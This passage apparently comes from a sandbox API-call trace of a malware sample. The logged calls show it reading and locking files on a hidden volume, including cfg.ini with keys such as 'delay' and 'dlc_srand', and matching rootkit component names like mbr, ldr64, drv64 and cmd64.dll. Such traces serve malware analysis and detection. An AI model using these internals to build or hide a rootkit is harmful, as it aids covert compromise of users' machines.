(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.690] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.690] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.690] KeEnterCriticalRegion () [0126.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.690] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.690] IdePortDispatch () returned 0x103 [0126.690] KeWaitForMutexObject () returned 0x0 [0126.690] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.690] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.690] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.691] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.691] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.691] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.691] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.691] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.691] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.691] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.691] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.691] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.691] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.691] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.691] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.691] KeLeaveCriticalRegion () [0126.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.691] ReleaseMutex (hMutex=0x100) returned 1 [0126.691] Sleep (dwMilliseconds=0x2bf20) [0126.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eb77790, dwHighDateTime=0x1d24fa4)) [0126.697] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.697] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.697] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.697] KeEnterCriticalRegion () [0126.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.697] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.697] IdePortDispatch () returned 0x103 [0126.698] KeWaitForMutexObject () returned 0x0 [0126.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb90 [0126.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.698] KeLeaveCriticalRegion () [0126.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.698] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.698] KeEnterCriticalRegion () [0126.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.698] KeLeaveCriticalRegion () [0126.698] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.698] KeEnterCriticalRegion () [0126.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.698] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.698] IdePortDispatch () returned 0x103 [0126.698] KeWaitForMutexObject () returned 0x0 [0126.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.698] KeLeaveCriticalRegion () [0126.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.698] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.699] KeEnterCriticalRegion () [0126.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b2000 [0126.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.699] IdePortDispatch () returned 0x103 [0126.699] KeWaitForMutexObject () returned 0x0 [0126.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.699] IdePortDispatch () returned 0x103 [0126.699] KeWaitForMutexObject () returned 0x0 [0126.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.699] KeLeaveCriticalRegion () [0126.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.700] KeEnterCriticalRegion () [0126.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] KeLeaveCriticalRegion () [0126.700] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.700] KeEnterCriticalRegion () [0126.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.700] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] KeLeaveCriticalRegion () [0126.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.700] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.700] KeEnterCriticalRegion () [0126.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] ExFreePoolWithTag (P=0xfffffa80037eeb90, Tag=0x0) [0126.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] KeLeaveCriticalRegion () [0126.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.700] ReleaseMutex (hMutex=0xf0) returned 1 [0126.700] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.700] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.700] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.700] KeEnterCriticalRegion () [0126.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.700] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.700] IdePortDispatch () returned 0x103 [0126.700] KeWaitForMutexObject () returned 0x0 [0126.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.701] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.701] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.701] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.701] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.701] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0b30 [0126.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.701] KeLeaveCriticalRegion () [0126.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.701] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.701] KeEnterCriticalRegion () [0126.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.701] KeLeaveCriticalRegion () [0126.701] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.701] KeEnterCriticalRegion () [0126.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.701] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.701] IdePortDispatch () returned 0x103 [0126.701] KeWaitForMutexObject () returned 0x0 [0126.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.701] KeLeaveCriticalRegion () [0126.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.701] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.701] KeEnterCriticalRegion () [0126.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.701] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b3000 [0126.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.701] IdePortDispatch () returned 0x103 [0126.702] KeWaitForMutexObject () returned 0x0 [0126.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.702] IdePortDispatch () returned 0x103 [0126.702] KeWaitForMutexObject () returned 0x0 [0126.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.702] KeLeaveCriticalRegion () [0126.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.702] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.702] KeEnterCriticalRegion () [0126.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] KeLeaveCriticalRegion () [0126.703] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.703] KeEnterCriticalRegion () [0126.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.703] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] KeLeaveCriticalRegion () [0126.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.703] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.703] KeEnterCriticalRegion () [0126.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] ExFreePoolWithTag (P=0xfffffa80037e0b30, Tag=0x0) [0126.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] KeLeaveCriticalRegion () [0126.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.703] ReleaseMutex (hMutex=0xf0) returned 1 [0126.703] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.703] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.703] KeEnterCriticalRegion () [0126.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.703] IdePortDispatch () returned 0x103 [0126.703] KeWaitForMutexObject () returned 0x0 [0126.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.703] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.703] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.703] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.703] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.703] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed5c0 [0126.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.703] KeLeaveCriticalRegion () [0126.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.704] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.704] KeEnterCriticalRegion () [0126.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.704] KeLeaveCriticalRegion () [0126.704] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.704] KeEnterCriticalRegion () [0126.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.704] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.704] IdePortDispatch () returned 0x103 [0126.704] KeWaitForMutexObject () returned 0x0 [0126.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.704] KeLeaveCriticalRegion () [0126.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.704] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.704] KeEnterCriticalRegion () [0126.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b4000 [0126.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.704] IdePortDispatch () returned 0x103 [0126.704] KeWaitForMutexObject () returned 0x0 [0126.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.705] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.705] IdePortDispatch () returned 0x103 [0126.705] KeWaitForMutexObject () returned 0x0 [0126.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.705] KeLeaveCriticalRegion () [0126.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.705] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.705] KeEnterCriticalRegion () [0126.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.705] KeLeaveCriticalRegion () [0126.705] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.705] KeEnterCriticalRegion () [0126.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.705] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.705] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.706] KeLeaveCriticalRegion () [0126.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.706] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.706] KeEnterCriticalRegion () [0126.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.706] ExFreePoolWithTag (P=0xfffffa80037ed5c0, Tag=0x0) [0126.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 